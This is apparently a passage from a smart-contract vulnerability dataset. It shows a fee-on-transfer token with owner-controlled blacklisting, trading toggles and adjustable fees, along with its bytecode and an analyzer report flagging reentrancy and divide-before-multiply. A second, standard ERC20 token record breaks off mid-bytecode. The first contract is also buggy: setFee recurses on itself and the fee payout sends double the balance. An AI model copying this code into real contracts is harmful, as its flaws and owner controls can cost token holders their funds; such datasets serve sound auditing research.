blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.div(2).mul(4)); _devAddress.transfer(amount.div(5)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; require(_taxFeeOnSell + _distroFeeOnSell <= 15, "Must keep sell taxes below 15%"); return setFee(distroFeeOnBuy, distroFeeOnSell, taxFeeOnBuy, taxFeeOnSell); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104ab578063c3c8cd80146104db578063dd62ed3e146104f0578063ea1644d51461053657600080fd5b806398a5c3151461044b578063a2a957bb1461046b578063a9059cbb1461048b57600080fd5b80638da5cb5b116100c65780638da5cb5b146103cc5780638f70ccf7146103ea5780638f9a55c01461040a57806395d89b411461042057600080fd5b8063715018a61461038157806374010ece146103965780637d1db4a5146103b657600080fd5b80632fd689e3116101595780636b999053116101335780636b9990531461030c5780636d8aa8f81461032c5780636fc3eaec1461034c57806370a082311461036157600080fd5b80632fd689e3146102ba578063313ce567146102d057806349bd5a5e146102ec57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b31461020e5780631694505e1461023e57806318160ddd1461027657806323b872dd1461029a57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c63660046117c0565b610556565b005b3480156101d957600080fd5b5060408051808201909152600681526508cd2ecca40b60d31b60208201525b60405161020591906118f0565b60405180910390f35b34801561021a57600080fd5b5061022e610229366004611795565b610603565b6040519015158152602001610205565b34801561024a57600080fd5b5060145461025e906001600160a01b031681565b6040516001600160a01b039091168152602001610205565b34801561028257600080fd5b5066038d7ea4c680005b604051908152602001610205565b3480156102a657600080fd5b5061022e6102b5366004611755565b61061a565b3480156102c657600080fd5b5061028c60185481565b3480156102dc57600080fd5b5060405160098152602001610205565b3480156102f857600080fd5b5060155461025e906001600160a01b031681565b34801561031857600080fd5b506101cb6103273660046116e5565b610683565b34801561033857600080fd5b506101cb610347366004611887565b6106ce565b34801561035857600080fd5b506101cb610716565b34801561036d57600080fd5b5061028c61037c3660046116e5565b610743565b34801561038d57600080fd5b506101cb610765565b3480156103a257600080fd5b506101cb6103b13660046118a7565b6107d9565b3480156103c257600080fd5b5061028c60165481565b3480156103d857600080fd5b506000546001600160a01b031661025e565b3480156103f657600080fd5b506101cb610405366004611887565b610808565b34801561041657600080fd5b5061028c60175481565b34801561042c57600080fd5b5060408051808201909152600281526106ab60f31b60208201526101f8565b34801561045757600080fd5b506101cb6104663660046118a7565b610850565b34801561047757600080fd5b506101cb6104863660046118bf565b61087f565b34801561049757600080fd5b5061022e6104a6366004611795565b610929565b3480156104b757600080fd5b5061022e6104c63660046116e5565b60106020526000908152604090205460ff1681565b3480156104e757600080fd5b506101cb610936565b3480156104fc57600080fd5b5061028c61050b36600461171d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054257600080fd5b506101cb6105513660046118a7565b61096c565b6000546001600160a01b031633146105895760405162461bcd60e51b815260040161058090611943565b60405180910390fd5b60005b81518110156105ff576001601060008484815181106105bb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f781611a56565b91505061058c565b5050565b600061061033848461099b565b5060015b92915050565b6000610627848484610abf565b610679843361067485604051806060016040528060288152602001611ab3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2e565b61099b565b5060019392505050565b6000546001600160a01b031633146106ad5760405162461bcd60e51b815260040161058090611943565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161058090611943565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073657600080fd5b4761074081610f68565b50565b6001600160a01b03811660009081526002602052604081205461061490610ff8565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161058090611943565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108035760405162461bcd60e51b815260040161058090611943565b601655565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161058090611943565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461087a5760405162461bcd60e51b815260040161058090611943565b601855565b6000546001600160a01b031633146108a95760405162461bcd60e51b815260040161058090611943565b6008849055600a8390556009829055600b819055600f6108c984836119e8565b11156109175760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f772031352500006044820152606401610580565b6109238484848461087f565b50505050565b6000610610338484610abf565b6012546001600160a01b0316336001600160a01b03161461095657600080fd5b600061096130610743565b90506107408161107c565b6000546001600160a01b031633146109965760405162461bcd60e51b815260040161058090611943565b601755565b6001600160a01b0383166109fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610580565b6001600160a01b038216610a5e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610580565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610580565b6001600160a01b038216610b855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610580565b60008111610be75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610580565b6000546001600160a01b03848116911614801590610c1357506000546001600160a01b03838116911614155b15610e2757601554600160a01b900460ff16610c7b57601654811115610c7b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610580565b6001600160a01b03831660009081526010602052604090205460ff16158015610cbd57506001600160a01b03821660009081526010602052604090205460ff16155b610d155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610580565b6015546001600160a01b03838116911614610d9a5760175481610d3784610743565b610d4191906119e8565b10610d9a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610580565b6000610da530610743565b601854601654919250821015908210610dbe5760165491505b808015610dd55750601554600160a81b900460ff16155b8015610def57506015546001600160a01b03868116911614155b8015610e045750601554600160b01b900460ff165b15610e2457610e128261107c565b478015610e2257610e2247610f68565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6957506001600160a01b03831660009081526005602052604090205460ff165b80610e9b57506015546001600160a01b03858116911614801590610e9b57506015546001600160a01b03848116911614155b15610ea857506000610f22565b6015546001600160a01b038581169116148015610ed357506014546001600160a01b03848116911614155b15610ee557600854600c55600954600d555b6015546001600160a01b038481169116148015610f1057506014546001600160a01b03858116911614155b15610f2257600a54600c55600b54600d555b61092384848484611221565b60008184841115610f525760405162461bcd60e51b815260040161058091906118f0565b506000610f5f8486611a3f565b95945050505050565b6012546001600160a01b03166108fc610f8d6004610f8785600261124f565b90611291565b6040518115909202916000818181858888f19350505050158015610fb5573d6000803e3d6000fd5b506013546001600160a01b03166108fc610fd083600561124f565b6040518115909202916000818181858888f193505050501580156105ff573d6000803e3d6000fd5b600060065482111561105f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610580565b6000611069611310565b9050611075838261124f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112657600080fd5b505afa15801561113a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115e9190611701565b8160018151811061117f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546111a5913091168461099b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111de908590600090869030904290600401611978565b600060405180830381600087803b1580156111f857600080fd5b505af115801561120c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061122e5761122e611333565b611239848484611361565b8061092357610923600e54600c55600f54600d55565b600061107583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611458565b6000826112a057506000610614565b60006112ac8385611a20565b9050826112b98583611a00565b146110755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610580565b600080600061131d611486565b909250905061132c828261124f565b9250505090565b600c541580156113435750600d54155b1561134a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611373876114c4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113a59087611521565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113d49086611563565b6001600160a01b0389166000908152600260205260409020556113f6816115c2565b611400848361160c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144591815260200190565b60405180910390a3505050505050505050565b600081836114795760405162461bcd60e51b815260040161058091906118f0565b506000610f5f8486611a00565b600654600090819066038d7ea4c680006114a0828261124f565b8210156114bb5750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006114e18a600c54600d54611630565b92509250925060006114f1611310565b905060008060006115048e878787611685565b919e509c509a509598509396509194505050505091939550919395565b600061107583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b60008061157083856119e8565b9050838110156110755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610580565b60006115cc611310565b905060006115da8383611291565b306000908152600260205260409020549091506115f79082611563565b30600090815260026020526040902055505050565b6006546116199083611521565b6006556007546116299082611563565b6007555050565b600080808061164a60646116448989611291565b9061124f565b9050600061165d60646116448a89611291565b905060006116758261166f8b86611521565b90611521565b9992985090965090945050505050565b60008080806116948886611291565b905060006116a28887611291565b905060006116b08888611291565b905060006116c28261166f8686611521565b939b939a50919850919650505050505050565b80356116e081611a9d565b919050565b6000602082840312156116f6578081fd5b813561107581611a9d565b600060208284031215611712578081fd5b815161107581611a9d565b6000806040838503121561172f578081fd5b823561173a81611a9d565b9150602083013561174a81611a9d565b809150509250929050565b600080600060608486031215611769578081fd5b833561177481611a9d565b9250602084013561178481611a9d565b929592945050506040919091013590565b600080604083850312156117a7578182fd5b82356117b281611a9d565b946020939093013593505050565b600060208083850312156117d2578182fd5b823567ffffffffffffffff808211156117e9578384fd5b818501915085601f8301126117fc578384fd5b81358181111561180e5761180e611a87565b8060051b604051601f19603f8301168101818110858211171561183357611833611a87565b604052828152858101935084860182860187018a1015611851578788fd5b8795505b8386101561187a57611866816116d5565b855260019590950194938601938601611855565b5098975050505050505050565b600060208284031215611898578081fd5b81358015158114611075578182fd5b6000602082840312156118b8578081fd5b5035919050565b600080600080608085870312156118d4578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b8181101561191c57858101830151858201604001528201611900565b8181111561192d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c75784516001600160a01b0316835293830193918301916001016119a2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fb576119fb611a71565b500190565b600082611a1b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3a57611a3a611a71565b500290565b600082821015611a5157611a51611a71565b500390565b6000600019821415611a6a57611a6a611a71565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461074057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220802a82b938baa6fccf9e6de319c7676119872396942be17dd9378f417f1c308b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,267
0x28da24ed20906cde186d8b4f83412c3ae37a6269
pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20,Pausable { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) whenNotPaused public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused public returns (bool) { require(_value == 0 || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) whenNotPaused public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) whenNotPaused public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract HBC is BurnableToken { // If ether is sent to this address, send it back. function () public { revert(); } string public constant name = "HBTC Chain"; string public constant symbol = "HBC"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 21000000; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610119578063095ea7b3146101a957806318160ddd1461020e57806323b872dd146102395780632ff2e9dc146102be578063313ce567146102e95780633f4ba83a1461031a57806342966c68146103315780635c975abb1461035e578063661884631461038d57806370a08231146103f257806379cc6790146104495780638456cb59146104965780638da5cb5b146104ad57806395d89b4114610504578063a9059cbb14610594578063d73dd623146105f9578063dd62ed3e1461065e578063f2fde38b146106d5575b34801561011357600080fd5b50600080fd5b34801561012557600080fd5b5061012e610718565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b506101f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610751565b604051808215151515815260200191505060405180910390f35b34801561021a57600080fd5b506102236108f4565b6040518082815260200191505060405180910390f35b34801561024557600080fd5b506102a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fe565b604051808215151515815260200191505060405180910390f35b3480156102ca57600080fd5b506102d3610cd9565b6040518082815260200191505060405180910390f35b3480156102f557600080fd5b506102fe610ce1565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032657600080fd5b5061032f610ce6565b005b34801561033d57600080fd5b5061035c60048036038101908080359060200190929190505050610da4565b005b34801561036a57600080fd5b50610373610db1565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc4565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611072565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b50610494600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110bb565b005b3480156104a257600080fd5b506104ab611263565b005b3480156104b957600080fd5b506104c2611323565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051057600080fd5b50610519611348565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055957808201518184015260208101905061053e565b50505050905090810190601f1680156105865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a057600080fd5b506105df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611381565b604051808215151515815260200191505060405180910390f35b34801561060557600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115c1565b604051808215151515815260200191505060405180910390f35b34801561066a57600080fd5b506106bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d8565b6040518082815260200191505060405180910390f35b3480156106e157600080fd5b50610716600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185f565b005b6040805190810160405280600a81526020017f4842544320436861696e0000000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff1615151561076e57600080fd5b60008214806107f957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561080457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008060149054906101000a900460ff1615151561091b57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561096957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109f457600080fd5b600073ffffffffffffffffffffffffffff